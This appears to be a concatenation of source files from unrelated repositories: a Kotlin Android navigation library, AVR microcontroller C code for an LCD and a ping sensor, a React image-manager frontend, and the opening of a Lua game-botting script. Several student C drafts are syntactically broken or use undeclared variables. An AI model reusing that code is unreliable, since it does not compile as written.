assertThat(this)
.overridingErrorMessage("Schedulers differ. Got $this expected $expected")
.isEqualTo(expected)
}
private infix fun Scheduler.shouldNotBe(expected: Scheduler) {
assertThat(this)
.overridingErrorMessage("Schedulers are equal. Got $this")
.isNotEqualTo(expected)
}
}
<file_sep>// Top-level build file where you can add configuration options common to all sub-projects/modules.
buildscript {
ext.kotlin_version = '1.1.4-3'
repositories {
jcenter()
}
dependencies {
classpath 'com.android.tools.build:gradle:2.3.3'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
classpath 'com.dicedmelon.gradle:jacoco-android:0.1.2'
// Version 2.0 requires gradle plugin 3
classpath 'com.github.dcendents:android-maven-gradle-plugin:1.5'
}
}
allprojects {
repositories {
jcenter()
}
}
project.ext.androidCompileSDKVersion = 26
project.ext.androidBuildToolsVersion = "26.0.1"
project.ext.androidMinSDKVersion = 16
project.ext.androidTargetSDKVersion = 26
project.ext.versionCode = 1
project.ext.versionName = "1.0"
<file_sep>package com.github.fgoncalves.testrules
import io.reactivex.android.plugins.RxAndroidPlugins
import io.reactivex.plugins.RxJavaPlugins
import io.reactivex.schedulers.Schedulers
import org.junit.rules.TestRule
import org.junit.runner.Description
import org.junit.runners.model.Statement
/**
* A rule that ensures the test case runs always on the trampoline scheduler.
*
* In other words, it makes sure that every rx stream runs in the JUnit thread.
*
* This is essential for testing since we need to guarantee the test doesn't finish
* before the actual subscriptions run
*
* The rule makes sure to reset everything to the proper schedulers
*/
class TrampolineSchedulerRule : TestRule {
private val scheduler by lazy { Schedulers.trampoline() }
override fun apply(base: Statement?, description: Description?): Statement =
object : Statement() {
override fun evaluate() {
try {
RxJavaPlugins.setComputationSchedulerHandler { scheduler }
RxJavaPlugins.setIoSchedulerHandler { scheduler }
RxJavaPlugins.setNewThreadSchedulerHandler { scheduler }
RxJavaPlugins.setSingleSchedulerHandler { scheduler }
RxAndroidPlugins.setInitMainThreadSchedulerHandler { scheduler }
base?.evaluate()
} finally {
RxJavaPlugins.reset()
RxAndroidPlugins.reset()
}
}
}
}
<file_sep>class Libraries extends Expando {
def call(Closure cl) {
cl.delegate = this
cl.call()
}
}
def libraries = project.ext.libraries = new Libraries()
// For projects
libraries {
kotlin_std_lib = "org.jetbrains.kotlin:kotlin-stdlib-jre7:$kotlin_version"
rx = 'io.reactivex.rxjava2:rxjava:2.1.3'
rxandroid = 'io.reactivex.rxjava2:rxandroid:2.0.1'
def supportLibVersion = '25.3.1'
appcompat = "com.android.support:appcompat-v7:${supportLibVersion}"
// For testing
junit = 'junit:junit:4.12'
mockito = 'org.mockito:mockito-core:2.9.0'
mockito_kotlin = 'com.nhaarman:mockito-kotlin:1.5.0'
assertj = 'org.assertj:assertj-core:3.8.0'
kotlin_test = "io.kotlintest:kotlintest:2.0.4"
}
<file_sep>package com.github.fgoncalves.pathmanager
import android.support.v4.app.Fragment
import android.support.v4.app.FragmentManager
import android.support.v4.app.FragmentTransaction
import com.nhaarman.mockito_kotlin.doReturn
import com.nhaarman.mockito_kotlin.mock
import com.nhaarman.mockito_kotlin.never
import com.nhaarman.mockito_kotlin.times
import com.nhaarman.mockito_kotlin.verify
import io.kotlintest.matchers.shouldBe
import io.kotlintest.specs.StringSpec
import org.mockito.Mockito
class ScreenNavigatorTest : StringSpec() {
init {
val transaction: FragmentTransaction = mock(defaultAnswer = Mockito.RETURNS_DEEP_STUBS)
val fragmentManager = mock<FragmentManager> {
on { beginTransaction() } doReturn transaction
on { backStackEntryCount } doReturn 123
}
val container = 123
"go should add the fragment to the back stack" {
val navigator = ScreenNavigatorImpl(fragmentManager, container)
val to = Fragment()
navigator.go(to)
verify(transaction).replace(container, to, Fragment::class.java.canonicalName)
}
"single should pop the entire back stack and then add the passed in fragment" {
val navigator = ScreenNavigatorImpl(fragmentManager, container)
val to = Fragment()
navigator.single(to)
verify(fragmentManager, times(123)).popBackStackImmediate()
verify(transaction).replace(container, to, to::class.java.canonicalName)
}
"go should invoke callbacks" {
val navigator = ScreenNavigatorImpl(fragmentManager, container)
val callback: (fragment: Fragment) -> Any = mock { }
val to = Fragment()
navigator.onScreenAdded(callback)
navigator.go(to)
verify(callback).invoke(to)
}
"Back should return true and pop back stack when there's more than a screen to pop" {
val navigator = ScreenNavigatorImpl(fragmentManager, container)
val result = navigator.back()
verify(fragmentManager).popBackStackImmediate()
result shouldBe true
}
"Back should return false and should not pop back stack if there's only one screen to be popped or less" {
val localFragmentManager = mock<FragmentManager> {
on { backStackEntryCount } doReturn 1
}
val navigator = ScreenNavigatorImpl(localFragmentManager, container)
val result = navigator.back()
verify(fragmentManager, never()).popBackStackImmediate()
result shouldBe false
}
}
}
<file_sep>apply plugin: 'com.android.library'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'
apply from: '../libraries.gradle'
android {
compileSdkVersion project.androidCompileSDKVersion
buildToolsVersion project.androidBuildToolsVersion
defaultConfig {
minSdkVersion project.androidMinSDKVersion
targetSdkVersion project.androidTargetSDKVersion
versionCode project.versionCode
versionName project.versionName
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
sourceSets {
main.java.srcDirs += 'src/main/kotlin'
test.java.srcDirs += 'src/test/kotlin'
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_7
targetCompatibility JavaVersion.VERSION_1_7
}
}
dependencies {
compile project.libraries.kotlin_std_lib
compile project.libraries.appcompat
testCompile project.libraries.junit
testCompile project.libraries.mockito
testCompile project.libraries.mockito_kotlin
testCompile project.libraries.kotlin_test
// Don't really get why this is needed, but if I don't put it there then gradle compiles the
// test project with a different version than the one used by the main app...
testCompile project.libraries.kotlin_std_lib
}
apply from: "$rootProject.projectDir/maven-aar.gradle"
<file_sep>include ':testrules', ':pathmanager'
<file_sep>package com.github.fgoncalves.pathmanager
import android.os.Build
import android.support.annotation.IdRes
import android.support.v4.app.Fragment
import android.support.v4.app.FragmentManager
import android.transition.Transition
import android.view.View
typealias onScreenAdded = (screen: Fragment) -> Any
/**
* Responsible for navigating between screens keeping the history and managing the stack
*/
interface ScreenNavigator {
/**
* Go to the given screen applying the given transitions. The screen will be added to the history
*/
fun go(
to: Fragment,
from: Fragment? = null,
enterTransition: Transition? = null,
enterSharedTransition: Transition? = null,
exitTransition: Transition? = null,
exitSharedTransition: Transition? = null,
sharedElement: View? = null,
sharedElementTransactionName: String? = null)
/**
* Clear the history and add the given screen to the history
*/
fun single(screen: Fragment)
/**
* Remove the last screen from the history.
*
* @return False if there's no more screens to go back. True otherwise
*/
fun back(): Boolean
/**
* Set the callback used for when the screen is added
*/
fun onScreenAdded(callback: onScreenAdded?)
}
class ScreenNavigatorImpl(
val fragmentManager: FragmentManager,
@IdRes val container: Int) : ScreenNavigator {
var onScreenAddedCallback: onScreenAdded? = null
override fun go(to: Fragment, from: Fragment?, enterTransition: Transition?,
enterSharedTransition: Transition?, exitTransition: Transition?,
exitSharedTransition: Transition?, sharedElement: View?,
sharedElementTransactionName: String?) {
val fragmentTransaction = fragmentManager.beginTransaction()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
if (exitSharedTransition != null) from?.sharedElementReturnTransition = exitSharedTransition
if (enterSharedTransition != null) to.sharedElementEnterTransition = enterSharedTransition
if (exitTransition != null) from?.exitTransition = exitTransition
if (enterTransition != null) to.enterTransition = enterTransition
if (sharedElement != null && sharedElementTransactionName != null) {
fragmentTransaction.addSharedElement(sharedElement, sharedElementTransactionName)
}
}
val canonicalName = to.javaClass.canonicalName
fragmentTransaction.replace(container, to, canonicalName)
.addToBackStack(canonicalName)
.commit()
onScreenAddedCallback?.invoke(to)
}
override fun single(screen: Fragment) {
fragmentManager.clear()
go(screen)
}
override fun back(): Boolean {
if (fragmentManager.backStackEntryCount <= 1) return false
fragmentManager.popBackStackImmediate()
return true
}
override fun onScreenAdded(callback: onScreenAdded?) {
onScreenAddedCallback = callback
}
/**
* Clear the stack immediately
*/
private fun FragmentManager.clear() {
for (i in 1..backStackEntryCount)
popBackStackImmediate()
}
}
<file_sep>apply plugin: 'com.android.library'
apply plugin: 'kotlin-android'
apply from: "$rootProject.projectDir/libraries.gradle"
android {
compileSdkVersion project.androidCompileSDKVersion
buildToolsVersion project.androidBuildToolsVersion
defaultConfig {
minSdkVersion project.androidMinSDKVersion
targetSdkVersion project.androidTargetSDKVersion
versionCode project.versionCode
versionName project.versionName
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
}
}
sourceSets {
main.java.srcDirs += 'src/main/kotlin'
test.java.srcDirs += 'src/test/kotlin'
}
testOptions {
unitTests.returnDefaultValues = true
}
}
dependencies {
compile project.libraries.kotlin_std_lib
compile project.libraries.rx
compile project.libraries.rxandroid
compile project.libraries.junit
testCompile project.libraries.junit
testCompile project.libraries.assertj
}
apply from: "$rootProject.projectDir/maven-aar.gradle"
| 660e5906b6381649ba455e596fe470ef4d95ab4a | [
"Markdown",
"Kotlin",
"Gradle"
] | 10 | Markdown | fgoncalves/android-utils | 833935ee52db2eeda6d0a531c1f49c6f0e28dd88 | d83caa739d63d2c8907836cd981d1d9c8d58110f |
refs/heads/master | <repo_name>audihurrr/micro<file_sep>/project01.c
#include <avr/io.h> // avr io library
#include <avr/interrupt.h> // avr interrupt library
#include <util/delay.h>
/*
Utility/Delay.h header file
===========================
From what I researched it contains,
void delay_ms(double __ms);
creates a delay in milliseconds
void delay_us(double __us);
creates a delay in microseconds
*/
/*
The following code is just what I have done so far to
'pseudocode' an idea of what the project C code would
look like. Helferty said he is going over the PING
tomorrow, but it won't be far off from the flow listed
under 'PING SENSOR' due to research on the PING))) documentation.
Also, the if statements could arguably be changed to a switch
statement if we wanted to implement what we learned from Higgins
last semester and use a FSM!!! (finite state machine)
Maybe we can work on making prototype functions that look like;
void blink_led(some value);
'some value' can determine the pulse time between each blink?
....more to come...ran out of time!
Anyway, let me know what you think so far, if you have any questions
text or call or email! Not everyone has the same schedule, so I
understand if you don't have a chance to look at this. Just wanted
to at least sync up whatever work was done. Don't feel pressured to work
on anything. 40 hours of work a week and full time school is killing me haha
so I understand
Have a good day! see you tomorrow!
-Miles
*/
int main(void) {
/*
display_distance_lcd()
*/
//PING sensor
/*
clear io pin
make pin output
set io pin
clear io pin (> 2 us pulse)
make io pin output
wait for pin to go high
store current counter value
wait for pin to go low
store new counter value
return time in us
*/
/*
if obstacleDistance is greater than 30 inches
turn servo clockwise
(pulse -> 1.3ms faster -> clockwise)
*/
/*
if obstacleDistance is greater than 10 and less than 30
turn servo off (pulse = 1.5ms) AND blink leds
if (obstacleDistance < 30 && obstacleDistance > 26)
blink(slow)
if (obstacleDistance < 26 && obstacleDistance > 22)
blink(slow medium)
if (obstacleDistance < 22 && obstacleDistance > 18)
blink(medium)
if (obstacleDistance < 18 && obstacleDistance > 14)
blink(medium fast)
if (obstacleDistance < 14 && obstacleDistance > 10)
blink(fast)
*/
/*
if (obstacleDistance < 10){
blink('always');
rotate counter clockwise with no delay?
}
*/
}
}
/*
* ping_sensor.c
*
* Created: 11/17/2014 10:16:15 AM
* Author: tud31843
*/
#include <avr/io.h>
#include "util/delay.h"
#define F_CPU 8000000UL
#define DISTANCE_SENSOR 0
void trigger_pulse(int duration);
void hold_off(int duration);
void return_pulse();
void write_out();
int main(void)
{
while(1)
{
//send
DDRD |= (1<<DISTANCE_SENSOR);
trigger_pulse(5);
hold_off(750);
DDRD &= ~(1<<DISTANCE_SENSOR)
while(PIND&)
//delay before next measurement
_delay_us(200);
}
}
void trigger_pulse(int duration){
PORTD |= (1<<DISTANCE_SENSOR);
_delay_us(5);
}
void hold_off(int duration){
PORTD &= ~(1<<DISTANCE_SENSOR);
_delay_ms(duration);
}
<file_sep>/LCD_driver.c
/*
This is a basic driver for the Butterfly LCD. It offers the ability to
change the contrast and display strings (scrolling or static) from flash
or SRAM memory only.
This has been completly rewritten from the Atmel code; in this version, as
much processing as possible is performed by the string display routines
rather than the interrupt so that the interrupt executes as fast as possible.
*/
#include "LCD_Driver.h"
uint8_t TextBuffer[LCD_TEXTBUFFER_SIZE + 7];
uint8_t SegBuffer[LCD_SEGBUFFER_SIZE];
uint8_t StrStart;
uint8_t StrEnd;
uint8_t ScrollMode;
uint8_t ScrollCount;
uint8_t UpdateLCD;
const uint16_t LCD_SegTable[] PROGMEM =
{
0xEAA8, // '*'
0x2A80, // '+'
0x4000, // ','
0x0A00, // '-'
0x0A51, // '.' Degree sign
0x4008, // '/'
0x5559, // '0'
0x0118, // '1'
0x1e11, // '2
0x1b11, // '3
0x0b50, // '4
0x1b41, // '5
0x1f41, // '6
0x0111, // '7
0x1f51, // '8
0x1b51, // '9'
0x0000, // ':' (Not defined)
0x0000, // ';' (Not defined)
0x8008, // '<'
0x1A00, // '='
0x4020, // '>'
0x0000, // '?' (Not defined)
0x0000, // '@' (Not defined)
0x0f51, // 'A' (+ 'a')
0x3991, // 'B' (+ 'b')
0x1441, // 'C' (+ 'c')
0x3191, // 'D' (+ 'd')
0x1e41, // 'E' (+ 'e')
0x0e41, // 'F' (+ 'f')
0x1d41, // 'G' (+ 'g')
0x0f50, // 'H' (+ 'h')
0x2080, // 'I' (+ 'i')
0x1510, // 'J' (+ 'j')
0x8648, // 'K' (+ 'k')
0x1440, // 'L' (+ 'l')
0x0578, // 'M' (+ 'm')
0x8570, // 'N' (+ 'n')
0x1551, // 'O' (+ 'o')
0x0e51, // 'P' (+ 'p')
0x9551, // 'Q' (+ 'q')
0x8e51, // 'R' (+ 'r')
0x9021, // 'S' (+ 's')
0x2081, // 'T' (+ 't')
0x1550, // 'U' (+ 'u')
0x4448, // 'V' (+ 'v')
0xc550, // 'W' (+ 'w')
0xc028, // 'X' (+ 'x')
0x2028, // 'Y' (+ 'y')
0x5009, // 'Z' (+ 'z')
0x1441, // '['
0x8020, // '\'
0x1111, // ']'
0x0000, // '^' (Not defined)
0x1000 // '_'
};
void LCD_Init(void)
{
LCDCCR = 0x0F;
// Select asynchronous clock source, enable all COM pins and enable all segment pins.
LCDCRB = (1<<LCDCS) | (3<<LCDMUX0) | (7<<LCDPM0);
// Set LCD prescaler to give a framerate of 32,0 Hz
LCDFRR = (0<<LCDPS0) | (7<<LCDCD0);
// Enable LCD and set low power waveform
LCDCRA = (1<<LCDEN) | (1<<LCDAB);
//Enable LCD start of frame interrupt
LCDCRA |= (1<<LCDIE);
}
void LCD_puts_f(const uint8_t *FlashData)
{
uint8_t StrBuff[LCD_TEXTBUFFER_SIZE];
strcpy_P(StrBuff, FlashData);
LCD_puts(StrBuff);
}
void LCD_puts(uint8_t *Data)
{
uint8_t LoadB;
for (LoadB = 0; LoadB < 20; LoadB++)
{
uint8_t CByte = *(Data++);
if ((CByte >= '*') && (CByte <= 'z'))
TextBuffer[LoadB] = ((CByte == ' ')? 0xFF : (CByte - '*'));
else if (CByte == 0x00)
break;
else
TextBuffer[LoadB] = 0xFF;
}
ScrollMode = ((LoadB > 6)? TRUE : FALSE);
ScrollCount = LCD_DELAYCOUNT_DEFAULT;
for (uint8_t Nulls = 0; Nulls < 7; Nulls++)
TextBuffer[LoadB++] = 0xFF;
TextBuffer[LoadB] = 0x00;
StrStart = 0;
StrEnd = LoadB;
UpdateLCD = TRUE;
}
void LCD_WriteChar(uint8_t Byte, uint8_t Digit)
{
uint16_t SegData = 0x00;
uint8_t *BuffPtr = (&SegBuffer[0] + (Digit >> 1));
if (Byte != 0xFF)
SegData = pgm_read_word(&LCD_SegTable[Byte]);
for (uint8_t BNib = 0; BNib < 4; BNib++)
{
uint8_t Mask = 0xF0;
uint8_t MaskedSegData = (SegData & 0x0000F);
if (Digit & 0x01)
{
Mask = 0x0F;
MaskedSegData <<= 4;
}
*BuffPtr = ((*BuffPtr & Mask) | MaskedSegData);
SegData >>= 4;
BuffPtr += 5;
}
}
ISR(LCD_vect)
{
if (ScrollMode)
{
if (!(ScrollCount))
UpdateLCD = TRUE;
else
ScrollCount--;
}
if (UpdateLCD)
{
for (uint8_t Character = 0; Character < 6; Character++)
{
uint8_t Byte = (StrStart + Character);
if (Byte >= StrEnd)
Byte = TextBuffer[Byte - StrEnd];
else
Byte = TextBuffer[Byte];
LCD_WriteChar(Byte, Character);
}
if (StrStart++ == StrEnd)
StrStart = 1;
ScrollCount = LCD_SCROLLCOUNT_DEFAULT;
UpdateLCD = FALSE;
}
for (uint8_t LCDChar = 0; LCDChar < LCD_SEGBUFFER_SIZE; LCDChar++)
*(pLCDREG + LCDChar) = SegBuffer[LCDChar];
}
<file_sep>/README.md
micro
=====
Repository for Helferty's micro class
<file_sep>/LCD_driver.h
#ifndef LCDDRIVER_H
#define LCDDRIVER_H
// INCLUDES:
#include <avr/io.h>
#include <avr/pgmspace.h>
#include <avr/interrupt.h>
#include <string.h>
// DEFINES:
#define pLCDREG ((unsigned char *)(0xEC))
#define LCD_CONTRAST_LEVEL(level) LCDCCR = (0x0F & level)
#define LCD_SCROLLCOUNT_DEFAULT 3
#define LCD_DELAYCOUNT_DEFAULT 10
#define LCD_TEXTBUFFER_SIZE 20
#define LCD_SEGBUFFER_SIZE 20
#define TRUE 1
#define FALSE 0
// PROTOTYPES:
void LCD_puts(uint8_t *Data);
void LCD_puts_f(const uint8_t *FlashData);
void LCD_Init(void);
void LCD_WriteChar(uint8_t Byte, uint8_t Digit);
#endif
<file_sep>/lab09_activity1.c
#define F_CPU 8000000UL //XTAL = 8MHz
#define INTERRUPTER 0
#define LED 2
#define MOTOR 4
#include "avr/io.h"
#include "avr/interrupt.h"
#include "util/delay.h"
#include "LCD_driver.h"
//prototypes go here
int main() {
//Initializes the LCD
LCD_Init();
//this sets up the motor fast PWM!
DDRB = (1<<MOTOR)|(1<<LED);
OCR0A = 163; //controls the duty cycle
TCCR0A = 0x69;
//motor setup ends
PORTD = (1<<1);
EIMSK = (1<<INT0);
sei();
/*
Future Miles,
You have done great so far...but we are not close to finished.
What have we done so far? Well, we learned how to use Fast PWM using Timer0,
we learned about the corresponding IO pins and their alternative functionality,
and we initialized the External Interrupts which in turn maximized processing
speed and minimized processing load! Fucking fantastic.
What have we NOT done?
>> Started Timer2 to act as a counter for calculating clock cycles between each
revolution.
>> Implemented the LCD to display the calculated RPM!!!
So tonight, you have some work to do. Don't fuck up. Don't get stressed.
If worse comes to worse, we lose some sleep tonight.
Oh and remember to call off tomorrow so you can have a chance in hell at
passing MICRO EXAM!!!
Stay good looking, you!
--- <NAME>
**Updated note...we may have a problem...the LCD uses PD1 and so does our external interrupt.
An idea to fix it would be to consider using PCINT8 (PB0), allowing us to still use the Ext. interrupt
and also use the LCD without any problems
So look into chapter 10(?) where they talk about setting that ish up!
*/
while(1){
PORTB = (1<<LED);
sprintf(str, "%d rpm", rpm);
LCD_puts(str);
}
}
/*
interrupts from the opto-interrupter
Note: PD1 <==> INT0
*/
ISR (INT0_vect){
//toggle the LED
PORTB &= (0<<LED);
}
| b38ec8786263551ed82951efb34be291dfedee5c | [
"Markdown",
"C"
] | 5 | C | audihurrr/micro | 9aeecfa420015bee3fa31cf761526601972e0eff | 0fdc08710d17f8405bd5020370c56e314ec39ec9 |
refs/heads/main | <repo_name>imageditor/project-manager-frontend<file_sep>/src/components/images-list.component.js
import React, { Component } from "react";
import ImageDataService from "../services/image.service";
import ImageCard from "./image-card";
//import ProcessingImageDataService from '../services/processing.service'
//import { Link } from "react-router-dom";
export default class ImagesList extends Component {
constructor(props) {
super(props);
this.retrieveAllImages = this.retrieveAllImages.bind(this);
this.retrieveProjectImages = this.retrieveProjectImages.bind(this);
this.getActualContent = this.getActualContent.bind(this);
this.handleFile = this.handleFile.bind(this);
this.handleProcessing = this.handleProcessing.bind(this);
// this.handleCheckbox = this.handleCheckbox.bind(this);
// this.refreshList = this.refreshList.bind(this); //change-it
// this.setActiveProject = this.setActiveProject.bind(this); //change-it
// this.removeAllProjects = this.removeAllProjects.bind(this); //change-it
this.state = {
images: [],
projectId: null,
//currentIndex: -1,
}
}
componentDidMount() {
const {
projectId
} = this.props;
this.getActualContent(projectId);
}
componentDidUpdate(prevProps) {
const {
projectId
} = this.props;
if (prevProps.projectId !== projectId) this.getActualContent(projectId);
}
getActualContent(projectId) {
console.log(this.props)
if (projectId) {
this.retrieveProjectImages(projectId);
this.setState({
projectId: projectId
});
} else
this.retrieveAllImages();
}
retrieveAllImages() {
ImageDataService.getAll()
.then(response => {
this.setState({
images: response.data
});
console.log(response.data);
})
.catch(e => {
console.log(e);
});
}
retrieveProjectImages(projectId) {
ImageDataService.findByProjectId(projectId)
.then(response => {
this.setState({
images: response.data
});
console.log(response.data);
})
.catch(e => {
console.log(e);
});
}
handleFile(e) {
const { projectId } = this.state;
e.preventDefault();
// let dt = e.dataTransfer;
let files = e.target.files;
for (let i = 0; i < files.length; i++) {
let file = files[i];
let bodyFormData = new FormData()
console.log(file)
bodyFormData.append('projectId', projectId)
bodyFormData.append('image', file)
// let imageData = {
// projectId: projectId,
// parentImage: file.name
// };
console.log(`Try post to ${projectId} ${file.name}`)
ImageDataService.create(bodyFormData)
// ImageDataService.create(imageData)
.then(response => {
console.log(`it's ok: ${response}`)
this.getActualContent(projectId)
})
.catch(e => {
console.log(`foooooo: ${e}`)
})
}
return false;
}
/*
handleFile(e) {
e.preventDefault();
// let dt = e.dataTransfer;
let files = e.target.files;
for (let i = 0; i < files.length; i++) {
let file = files[i];
let reader = new FileReader();
let fetchBody = {
projectId: 'placeholder',
processingType: 'upload',
image: new Blob([reader.result], { type: file.type })
};
console.log(fetchBody)
const successsCallback = (response) => {
if (response.ok) {
console.log('Processing has been started')
} else {
console.log('Error uploading [' + file.name + ']. Max upload size is ~4MB.');
}
}
reader.addEventListener('loadend', function (e) {
ProcessingImageDataService.startProcessing(fetchBody, successsCallback)
});
reader.readAsArrayBuffer(file);
}
return false;
}
*/
handleCheckbox = (e) => {
const { name, checked } = e.target;
console.log(`prevState`, this.state)
const newImagesState = [...this.state.images];
newImagesState[name].checked = checked;
this.setState(newImagesState);
// Это перенеси в цикл, который будет пробегать по выбранным картинкам и отправлять запросы в ВВ с
const bulkActionImgs = this.state.images.filter(img => img.checked)
console.log(`bulkActionImgs`, bulkActionImgs)
}
handleProcessing = () => {
const { projectId } = this.state;
this.state.images.map(img => {
let result = null;
if (img.checked) {
result = {
id: img.newFilename,
projectId: img.projectId,
// different checkboxes send different types. Will be img.processingType
processingType: "grayscale"
}
//case processingType
ImageDataService.transform(result)
.then(response => {
console.log(`send transform: ${result}`)
this.getActualContent(projectId)
})
.catch(e => {
console.log(`foooooo: ${e}`)
})
}
return result
})
}
render() {
const {
images,
// projectId
} = this.state;
const imagesListName = "imagesList"
return (
<div className="list row">
<div className="col-md-12 d-flex flex-column align-items-stretch flex-shrink-0 bg-white">
<div className="d-flex align-items-center flex-shrink-0 p-3 link-dark text-decoration-none border-bottom">
<span className="fs-3 fw-semibold">Image list</span>
</div>
<div className="App">
<input type="file" name="images" id="imgid" className="imgcls m-5" onChange={this.handleFile} multiple />
</div>
<div name={imagesListName}>
{
images.map((image, index) => (
<ImageCard
image={image}
key={image.id}
index={index}
handleCheckbox={this.handleCheckbox}
/>
))}
</div>
<div className="App">
<button id="processing-btn" onClick={this.handleProcessing}>Processing with selected</button>
</div>
</div>
</div>
);
// return (
// <div className="list row">
// <div className="col-md-6">
// <h4>Images List {projectId} </h4>
// <div className="App">
// <input type="file" name="images" id="imgid" className="imgcls" onChange={this.handleFile} multiple />
// </div>
// <ul className="list-group" name={imagesListName}>
// {
// images.map((image, index) => (
// <li className="list-group-item" key={index}>
// <span>File name: </span>{image.newFilename}<br />
// <span>Status: </span>{image.status}<br />
// <span>Transformation: </span>{image.transformation}<br />
// <span>Created: </span>{image.createdAt}<br />
// <input
// type="checkbox"
// onChange={this.handleCheckbox}
// name={index}
// value={image.checked}
// checked={image.checked}
// /> Grayscale it
// </li>
// ))}
// </ul>
// <div className="App">
// <button id="processing-btn" onClick={this.handleProcessing}>Processing with selected</button>
// </div>
// </div>
// </div>
// );
}
}<file_sep>/src/components/image-card.js
import React from 'react'
import config from '../config'
const ImageCard = (props) => {
const {
image,
index,
handleCheckbox
} = props
const imageUrl = config.BUCKET_URI + image.newFilename;
return (
<div className="m-4">
<div>
<img
style={{
width: `300px`,
height: `auto`
}}
src={imageUrl}
alt=""
/>
</div>
<div className="col-10 mb-1 small">
<span>File name: </span>{image.newFilename}<br />
<span>Status: </span>{image.status}<br />
{/* <span>Transformation: </span>{image.transformation}<br /> */}
<span>Created: </span>{image.createdAt}<br />
</div>
<input
type="checkbox"
onChange={handleCheckbox}
name={index}
value={image.checked}
checked={image.checked}
/> <strong className="mb-1">Grayscale it</strong>
</div>
)
}
export default ImageCard;<file_sep>/src/config/index.js
const config = {
USE_API_GW: false,
API_GW_HOST: "localhost",
API_GW_PORT: 8888,
PM_SERVICE_HOST: "im-lb-836420455.us-west-2.elb.amazonaws.com",
PM_SERVICE_PORT: 81,
IM_SERVICE_HOST: "im-lb-836420455.us-west-2.elb.amazonaws.com",
IM_SERVICE_PORT: 80,
BUCKET_URI: "https://iv-alex-oregon-bucket-war.s3.us-west-2.amazonaws.com/"
}
export default config<file_sep>/src/services/project.service.js
import { getHttpTransport } from "../http-common";
const httpJson = getHttpTransport('project')
class ProjectDataService {
getAll() {
return httpJson.get("/projects");
}
get(id) {
return httpJson.get(`/projects/${id}`);
}
create(data) {
return httpJson.post("/projects", data);
}
update(id, data) {
return httpJson.put(`/projects/${id}`, data);
}
delete(id) {
return httpJson.delete(`/projects/${id}`);
}
deleteAll() {
return httpJson.delete(`/projects`);
}
findByTitle(title) {
return httpJson.get(`/projects?title=${title}`);
}
}
export default new ProjectDataService();<file_sep>/src/services/image.service.js
import { getHttpTransport } from "../http-common";
const httpJson = getHttpTransport('image')
const httpFormData= getHttpTransport('imagesFormData')
class ImageDataService {
getAll() {
return httpJson.get(`/images`);
}
get(id) {
return httpJson.get(`/images/${id}`);
}
create(data) {
return httpFormData.post("/images/", data);
}
update(id, data) {
return httpJson.put(`/images/${id}`, data);
}
delete(id) {
return httpJson.delete(`/images/${id}`);
}
deleteAll() {
return httpJson.delete(`/images`);
}
findByProjectId(projectId) {
return httpJson.get(`/images?projectid=${projectId}`);
}
transform(data){
return httpJson.post("/images/transform", data);
}
}
export default new ImageDataService();<file_sep>/src/services/processing.service.js
import config from '../config'
const {
IM_SERVICE_HOST,
IM_SERVICE_PORT
} = config
const processingBaseUrl = `//${IM_SERVICE_HOST}:${IM_SERVICE_PORT}`
class ProcessingImageDataService {
startProcessing(data, successCallback, failureCallback = () => null) {
return fetch(processingBaseUrl + '/api/images/processing', {
method: "POST",
body: data
})
.then(successCallback)
.catch(failureCallback);
}
}
export default new ProcessingImageDataService();<file_sep>/src/App.js
import React, { Component } from "react";
import { Switch, Route, Link } from "react-router-dom";
import "bootstrap/dist/css/bootstrap.min.css";
import "./App.css";
import logo from './logo.svg';
import AddProject from "./components/add-project.component";
import Project from "./components/project.component";
import ProjectsList from "./components/projects-list.component";
import ImagesList from "./components/images-list.component";
class App extends Component {
render() {
return (
<div>
<nav className="navbar navbar-expand navbar-dark bg-dark">
<a href="/projects" className="navbar-brand">
<img src={logo} className="App-logo" alt="logo" />
</a>
<div className="navbar-nav mr-auto">
<li className="nav-item">
<Link to={"/projects"} className="nav-link">
Projects
</Link>
</li>
<li className="nav-item">
<Link to={"/add"} className="nav-link">
Add Project
</Link>
</li>
<li className="nav-item">
<Link to={"/images"} className="nav-link">
Images
</Link>
</li>
</div>
</nav>
<div className="container mt-3">
<Switch>
<Route exact path={["/", "/projects"]} component={ProjectsList} />
<Route exact path={["/images"]} render={() => <ImagesList showAll />} />
<Route exact path="/add" component={AddProject} />
<Route path="/projects/:id" component={Project} />
</Switch>
</div>
</div>
);
}
}
export default App; | 4b1f7751fe5b38d4d8ab9cc7a9294373a5e96117 | [
"JavaScript"
] | 7 | JavaScript | imageditor/project-manager-frontend | 29cdb35e163bfb16131d863f0c58aabac62c1463 | d3e6a33599eb67353912dfc5292b5d800ee59c51 |
refs/heads/master | <repo_name>mirandagithub/MyBudget<file_sep>/src/js/components/LoginWrapper.react.js
var React = require('react');
var Parse = require('parse').Parse;
var ParseReact = require('parse-react');
var AppWrapper = require('./AppWrapper.react.js');
var LoginWrapper = React.createClass({
mixins: [ParseReact.Mixin],
getInitialState: function() {
return {
error: null,
signup: false
};
},
observe: function() {
return {
user: ParseReact.currentUser
};
},
render: function() {
return (
<div>Hello</div>
);
}
});
module.exports = LoginWrapper;
| d5520e9033acfa07c247ed453561a6e8af82fa8a | [
"JavaScript"
] | 1 | JavaScript | mirandagithub/MyBudget | b22f1af6c7f22c92f2452bd94537dd7877397d69 | ed1835d656d7d5b8f5b3f167da58d1b8939ac24e |
refs/heads/master | <repo_name>icellus/TouchSpriteToramEM<file_sep>/720p.lua
local count_delete = -1
function goToCityJRW(count_JRW)
goToCity(0)
moveToDN(3) -- 找到NPC
snLog("找到NPC")
mSleep(1000)
touchN(2) -- 交任务
snLog("交任务")
mSleep(1000)
-- 下划
snLog("下划")
for i=1, 2 do
touchDown(661, 459); --在坐标 按下
mSleep(1000);
for j=459, 113, -10 do
touchMove(674, j); --移动到坐标 ,注意一次滑动的坐标间隔不要太大,不宜超过 50 像素
mSleep(30)
end
mSleep(1000);
touchUp(674, 113); --在坐标 抬起
mSleep(2000)
end
mSleep(2000)
tap(634, 308) -- 点击任务
snLog("点击任务")
mSleep(1000)
touch(1217, 64, 0x8a8253, 95) -- 跳过
snLog("跳过")
mSleep(1000)
touch(827, 298, 0x978062, 95) -- 遵命
